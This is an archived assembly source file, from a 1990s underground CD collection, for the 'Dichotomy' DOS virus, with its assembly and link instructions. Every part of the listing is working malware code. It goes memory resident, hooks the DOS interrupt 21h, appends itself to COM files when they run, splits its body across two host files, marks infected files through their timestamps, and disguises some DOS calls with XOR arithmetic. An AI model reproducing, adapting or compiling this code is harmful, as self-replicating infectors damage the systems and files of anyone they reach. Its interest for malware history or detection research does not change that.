home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dichotom.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  13.6 KB  |  340 lines

  1. ;       Dichotomy Virus
  2.  
  3. ;       (c) 1994 Evil Avatar
  4.  
  5. ;
  6.  
  7. ; TASM /M3 DIKOTOMY
  8.  
  9. ; TLINK /X DIKOTOMY
  10.  
  11. ; EXE2BIN DIKOTOMY DIKOTOMY.COM
  12.  
  13.  
  14.  
  15. .model tiny
  16.  
  17. .code
  18.  
  19. org 0
  20.  
  21.  
  22.  
  23. ;=====( Entry point for COM files )========================================
  24.  
  25.  
  26.  
  27. Dichotomy:
  28.  
  29.           call delta
  30.  
  31. delta:    mov bx, sp
  32.  
  33.           mov bp, word ptr ds:[bx]
  34.  
  35.           sub bp, offset delta          ;get delta offset
  36.  
  37.           inc sp
  38.  
  39.           inc sp
  40.  
  41.           cmp word ptr ds:[bp+virus1], 'D['
  42.  
  43.           mov ah, 1ah
  44.  
  45.           lea dx, [bp+newDTA]           ;buffer for new DTA
  46.  
  47.           int 21h                       ;set new disk transfer address
  48.  
  49.           mov ah, 4eh
  50.  
  51.           mov cx, 7                     ;any attribute
  52.  
  53.           lea dx, [bp+FileName]         ;host name
  54.  
  55.           int 21h                       ;find second host file
  56.  
  57.           jc maybe_host                 ;if carry, then we need a new host
  58.  
  59.           mov ax, 3d00h
  60.  
  61.           int 21h                       ;open second host
  62.  
  63.           xchg ax, bx                   ;handle is better in bx
  64.  
  65.           mov ax, 4200h
  66.  
  67.           sub cx, cx
  68.  
  69.           mov dx, word ptr ds:[bp+newDTA+1ah]
  70.  
  71.           sub dx, (offset heap-offset loader2)
  72.  
  73.           int 21h                       ;move pointer to virus code
  74.  
  75.           mov ah, 3fh
  76.  
  77.           mov cx, (offset heap-offset loader2)
  78.  
  79.           lea dx, [bp+loader2]
  80.  
  81.           int 21h                       ;read in second part of virus
  82.  
  83.           mov ah, 3eh
  84.  
  85.           int 21h                       ;close the file
  86.  
  87. maybe_host:
  88.  
  89.           mov ah, 51h
  90.  
  91.           int 21h                       ;check if resident
  92.  
  93.           inc bx                        ;if resident, PSP should be -1
  94.  
  95.           jz resident                   ;yes? kewl!
  96.  
  97.           cmp word ptr ds:[bp+virus1], 'D['     ;check if we are fully here
  98.  
  99.           je go_res                     ;yes? we need to go resident
  100.  
  101. return:   mov ah, 1ah
  102.  
  103.           mov dx, 80h
  104.  
  105.           int 21h                       ;restore DTA
  106.  
  107.           lea si, [bp+comfix]           ;offset of first 3 bytes of file
  108.  
  109.           mov di, 100h                  ;start of .com file
  110.  
  111.           mov ax, di
  112.  
  113.           push ax
  114.  
  115.           movsw
  116.  
  117.           movsb
  118.  
  119.           retn
  120.  
  121. resident: cmp word ptr ds:[bp+virus1], 'D['     ;is the second host here?
  122.  
  123.           je return                     ;yes? return to program
  124.  
  125.           mov ah, 62h
  126.  
  127.           int 21h                       ;request new host
  128.  
  129.           jmp return                    ;return to host
  130.  
  131. go_res:   jmp loader2                   ;go memory resident
  132.  
  133.  
  134.  
  135. ;=====( Variables )========================================================
  136.  
  137.  
  138.  
  139. comfix    db 0cdh, 20h, 0               ;first 3 bytes of .com file
  140.  
  141. virus     db '[Dichotomy]', 0           ;virus name
  142.  
  143. author    db '(c) 1994 Evil Avatar', 0  ;me
  144.  
  145. FileName  db 'DIKOTOMY.COM', 0, 73h dup (?)     ;second host name
  146.  
  147. loader1_end:
  148.  
  149.  
  150.  
  151. ;=====( Go memory resident )===============================================
  152.  
  153.  
  154.  
  155. loader2:
  156.  
  157.           mov byte ptr ds:[bp+count], 0 ;infections = 0
  158.  
  159.           mov ah, 'E'
  160.  
  161.           xor ah, 0fh
  162.  
  163.           mov bx, -1
  164.  
  165.           int 21h                       ;get available memory
  166.  
  167.           mov ah, 'A'
  168.  
  169.           xor ah, 0bh
  170.  
  171.           sub bx, (virus_end-Dichotomy+15)/16+1
  172.  
  173.           int 21h                       ;create a hole in memory
  174.  
  175.           mov ax, 3521h
  176.  
  177.           int 21h                       ;get int 21h handler
  178.  
  179.           mov word ptr [bp+save21], bx
  180.  
  181.           mov word ptr [bp+save21+2], es        ;save int 21h vector
  182.  
  183.           mov ah, 'E'
  184.  
  185.           xor ah, 0dh
  186.  
  187.           mov bx, (virus_end-Dichotomy+15)/16
  188.  
  189.           int 21h                       ;allocate the memory
  190.  
  191.           mov es, ax                    ;es is high virus segment
  192.  
  193.           mov cx, (virus_end-Dichotomy+1)/2
  194.  
  195.           lea si, [bp+Dichotomy]
  196.  
  197.           sub di, di
  198.  
  199.           rep movsw                     ;copy ourself up there
  200.  
  201.           push es
  202.  
  203.           pop ds                        ;save virus seg for int 21h change
  204.  
  205.           dec ax                        ;MCB segment
  206.  
  207.           mov es, ax
  208.  
  209.           mov word ptr es:[1], 8        ;make DOS the owner of our segment
  210.  
  211.           mov ax, 4541h
  212.  
  213.           sub ax, 2020h
  214.  
  215.           lea dx, [int21]
  216.  
  217.           int 21h                       ;set new int 21h handler
  218.  
  219.           push cs cs
  220.  
  221.           pop ds es                     ;restore PSP segments
  222.  
  223.           jmp return                    ;return to host
  224.  
  225.  
  226.  
  227. ;=====( Find a new host )==================================================
  228.  
  229.  
  230.  
  231. request:  push ds di si cx cs
  232.  
  233.           pop ds                        ;save registers
  234.  
  235.           mov di, bp                    ;set up scan registers
  236.  
  237.           sub si, si
  238.  
  239.           mov cx, 5
  240.  
  241.           repe cmpsw                    ;scan to see if it is us
  242.  
  243.           jne restore1                  ;no? let dos take care of it
  244.  
  245.           mov ax, 4300h
  246.  
  247.           lea dx, [WhatRun]
  248.  
  249.           int 21h                       ;get attributes of file
  250.  
  251.           push cx                       ;save them
  252.  
  253.           mov ax, 4301h
  254.  
  255.           sub cx, cx
  256.  
  257.           int 21h                       ;clear attributes
  258.  
  259.           mov ax, 3d02h
  260.  
  261.           int 21h                       ;open file read/write
  262.  
  263.           xchg ax, bx
  264.  
  265.           mov ax, 5700h
  266.  
  267.           int 21h                       ;get file date/time
  268.  
  269.           and cx, 1fh                   ;get seconds
  270.  
  271.           cmp cx, 1fh                   ;is it 62?
  272.  
  273.           je cant_fix                   ;can't fix this file
  274.  
  275.           mov ax, 4202h
  276.  
  277.           sub cx, cx
  278.  
  279.           cwd
  280.  
  281.           int 21h                       ;go to end of file
  282.  
  283.           mov ah, 40h
  284.  
  285.           mov cx, (heap-loader2)
  286.  
  287.           lea dx, [loader2]
  288.  
  289.           int 21h                       ;copy to end of file
  290.  
  291.           mov ax, 5700h
  292.  
  293.           int 21h                       ;get file date/time
  294.  
  295.           or cx, 1fh
  296.  
  297.           mov ax, 5701h
  298.  
  299.           int 21h
  300.  
  301. cant_fix: mov ax, 4301h
  302.  
  303.           pop cx                        ;get attributes
  304.  
  305.           int 21h                       ;restore attributes
  306.  
  307.           mov ah, 3eh
  308.  
  309.           int 21h                       ;close file
  310.  
  311. restore1: pop cx si di ds               ;restore registers
  312.  
  313.           jmp dos21                     ;go to dos
  314.  
  315.  
  316.  
  317. ;=====( Interrupt 21h handler )============================================
  318.  
  319.  
  320.  
  321. int21:    inc ah
  322.  
  323.           cmp ah, 4ch                   ;execute file
  324.  
  325.           je infect                     ;infect it
  326.  
  327.           dec ah
  328.  
  329.           cmp ah, 51h                   ;install check
  330.  
  331.           je install_check
  332.  
  333.           cmp ah, 62h                   ;request for new host
  334.  
  335.           je _request
  336.  
  337. dos21:    jmp dword ptr cs:[save21]     ;call dos
  338.  
  339. _request: jmp request
  340.  
  341.  
  342.  
  343. ;=====( Installation check )===============================================
  344.  
  345.  
  346.  
  347. install_check:
  348.  
  349.           push di si cx ds cs
  350.  
  351.           pop ds                        ;save registers
  352.  
  353.           mov di, bp                    ;set up scan registers
  354.  
  355.           sub si, si
  356.  
  357.           mov cx, 5
  358.  
  359.           repe cmpsw                    ;scan to see if it is us
  360.  
  361.           jne restore                   ;no? let dos take care of it
  362.  
  363.           mov bx, -1                    ;return code
  364.  
  365.           pop ds                        ;restore ds
  366.  
  367.           add sp, 6                     ;fix stack
  368.  
  369.           iret                          ;return
  370.  
  371. restore:  pop cx si di ds               ;restore registers
  372.  
  373.           jmp dos21                     ;go to dos
  374.  
  375.  
  376.  
  377. ;=====( Infection routine )================================================
  378.  
  379.  
  380.  
  381. infect:   dec ah
  382.  
  383.           call push_all                 ;save registers
  384.  
  385.           push cs
  386.  
  387.           pop es                        ;es equals code segment
  388.  
  389.           mov si, dx
  390.  
  391.           lea di, [WhatRun]
  392.  
  393.           mov cx, 40h
  394.  
  395.           rep movsw                     ;save filename in buffer
  396.  
  397.           mov si, dx                    ;ds:si equals file name
  398.  
  399.           lea di, [FileName]
  400.  
  401.           mov ax, 4300h
  402.  
  403.           int 21h                       ;get attributes of file
  404.  
  405.           push cx                       ;save them
  406.  
  407.           mov ax, 4301h
  408.  
  409.           sub cx, cx
  410.  
  411.           int 21h                       ;clear attributes
  412.  
  413.           mov ax, 3d02h
  414.  
  415.           int 21h                       ;open file read/write
  416.  
  417.           xchg ax, bx                   ;put handle in bx
  418.  
  419.           mov ax, 5700h
  420.  
  421.           int 21h                       ;get file time/date
  422.  
  423.           and cx, 1fh                   ;get seconds
  424.  
  425.           cmp cx, 1eh                   ;is 60 or 62?
  426.  
  427.           jae already_inf               ;then already infected
  428.  
  429.           lodsb                         ;get drive letter
  430.  
  431.           dec si                        ;point to filename again
  432.  
  433.           and al, 5fh                   ;make it uppercase
  434.  
  435.           cmp al, 'C'                   ;is it C or higher?
  436.  
  437.           jb _single                    ;no? we must fully infect it
  438.  
  439.           cmp byte ptr cs:[count], 1    ;have we already done loader 2?
  440.  
  441.           jne do_loader2                ;yes? start doing loader 1s
  442.  
  443. do_loader1:
  444.  
  445.           call inf_loader1
  446.  
  447.           jmp done_inf
  448.  
  449. do_loader2:          
  450.  
  451.           call inf_loader2
  452.  
  453.           jmp done_inf
  454.  
  455. _single:  push si di
  456.  
  457.           mov cx, 40h
  458.  
  459.           rep movsw                     ;save filename in buffer
  460.  
  461.           pop di si
  462.  
  463.           call inf_loader1
  464.  
  465.           call inf_loader2
  466.  
  467.           mov byte ptr cs:[count], 0
  468.  
  469. done_inf: mov ah, 3eh
  470.  
  471.           int 21h                       ;close file
  472.  
  473. already_inf:
  474.  
  475.           mov ax, 4301h
  476.  
  477.           pop cx                        ;get attributes
  478.  
  479.           int 21h                       ;restore attributes
  480.  
  481.           call pop_all                  ;restore registers
  482.  
  483.           jmp dos21                     ;call dos
  484.  
  485.  
  486.  
  487. ;=====( Infect file with loader 1 )========================================
  488.  
  489.  
  490.  
  491. inf_loader1:
  492.  
  493.           push si di ds dx cs           ;save filename and other stuff
  494.  
  495.           pop ds
  496.  
  497.           mov byte ptr ds:[count], 0    ;do loader 2 from now on
  498.  
  499.           mov ah, 3fh
  500.  
  501.           mov cx, 3
  502.  
  503.           lea dx, [comfix]
  504.  
  505.           int 21h                       ;read in first 3 bytes
  506.  
  507.           mov ax, 4202h
  508.  
  509.           sub cx, cx
  510.  
  511.           cwd
  512.  
  513.           int 21h                       ;go to end of file
  514.  
  515.           or dx, dx
  516.  
  517.           jnz bad_file
  518.  
  519.           cmp ax, 65024-(virus_end-Dichotomy)   ;see if file is too big
  520.  
  521.           jae bad_file
  522.  
  523.           mov cx, word ptr ds:[comfix]
  524.  
  525.           cmp cx, 'M'+'Z'
  526.  
  527.           jz bad_file                   ;can't infect .exe's
  528.  
  529.           sub ax, 3                     ;calculate jump
  530.  
  531.           mov word ptr ds:[buffer], ax  ;set up jump
  532.  
  533.           mov ah, 40h
  534.  
  535.           mov cx, (loader1_end-Dichotomy)
  536.  
  537.           cwd
  538.  
  539.           int 21h                       ;copy virus to end of file
  540.  
  541.           mov ax, 4200h
  542.  
  543.           sub cx, cx
  544.  
  545.           cwd
  546.  
  547.           int 21h                       ;go to beginning of file
  548.  
  549.           mov ah, 40h
  550.  
  551.           mov cx, 3
  552.  
  553.           lea dx, [buffer-1]
  554.  
  555.           int 21h                       ;copy jump to beginning
  556.  
  557.           mov ax, 5700h
  558.  
  559.           int 21h                       ;get file time/date
  560.  
  561.           mov ax, 5701h
  562.  
  563.           or cx, 1eh
  564.  
  565.           and cx, 0fffeh                ;set to 60 seconds
  566.  
  567.           int 21h                       ;set new file time
  568.  
  569. bad_file: pop dx ds di si
  570.  
  571.           retn
  572.  
  573.  
  574.  
  575. ;=====( Infect file with loader 2 )========================================
  576.  
  577.  
  578.  
  579. inf_loader2:
  580.  
  581.           push ds dx                    ;save file name
  582.  
  583.           mov cx, 40h
  584.  
  585.           rep movsw                     ;save filename in buffer
  586.  
  587.           push cs
  588.  
  589.           pop ds                        ;ds needs to be code segment
  590.  
  591.           mov byte ptr ds:[count], 1    ;do loader 1 from now on
  592.  
  593.           mov ax, 4202h
  594.  
  595.           sub cx, cx
  596.  
  597.           cwd
  598.  
  599.           int 21h                       ;go to end of file
  600.  
  601.           mov ah, 40h
  602.  
  603.           mov cx, (heap-loader2)
  604.  
  605.           lea dx, [loader2]
  606.  
  607.           int 21h                       ;copy to end of file
  608.  
  609.           mov ax, 5700h
  610.  
  611.           int 21h                       ;get file date/time
  612.  
  613.           or cx, 1fh                    ;set to 62 seconds
  614.  
  615.           mov ax, 5701h
  616.  
  617.           int 21h                       ;set new file time
  618.  
  619.           pop dx ds                     ;restore file name
  620.  
  621.           retn                          ;return to caller
  622.  
  623.  
  624.  
  625. ;=====( Push all registers )===============================================
  626.  
  627.  
  628.  
  629. push_all: pop word ptr cs:[p_all]       ;save return code
  630.  
  631.           push ax bx cx dx bp si di ds es       ;save registers
  632.  
  633.           pushf                         ;save flags
  634.  
  635.           jmp word ptr cs:[p_all]       ;return to caller
  636.  
  637.  
  638.  
  639. ;=====( Pop all registers )================================================
  640.  
  641.  
  642.  
  643. pop_all:  pop word ptr cs:[p_all]       ;save return code
  644.  
  645.           popf                          ;restore flags
  646.  
  647.           pop es ds di si bp dx cx bx ax        ;restore registers
  648.  
  649.           jmp word ptr cs:[p_all]       ;return to caller
  650.  
  651.  
  652.  
  653. ;=====( More variables )===================================================
  654.  
  655.  
  656.  
  657. virus1    db '[Dichotomy]', 0           ;virus signature
  658.  
  659.           db 0e9h                       ;jump cs:xxxx
  660.  
  661. heap:
  662.  
  663. buffer    dw ?                          ;jump buffer
  664.  
  665. newDTA    db 2bh dup (?)                ;replacement disk transfer address
  666.  
  667. save21    dd ?                          ;interrupt 21h vector
  668.  
  669. p_all     dw ?                          ;push/pop return value
  670.  
  671. count     db ?                          ;infection count
  672.  
  673. WhatRun   db 80h dup (?)
  674.  
  675. virus_end:
  676.  
  677. end Dichotomy
  678.  
  679.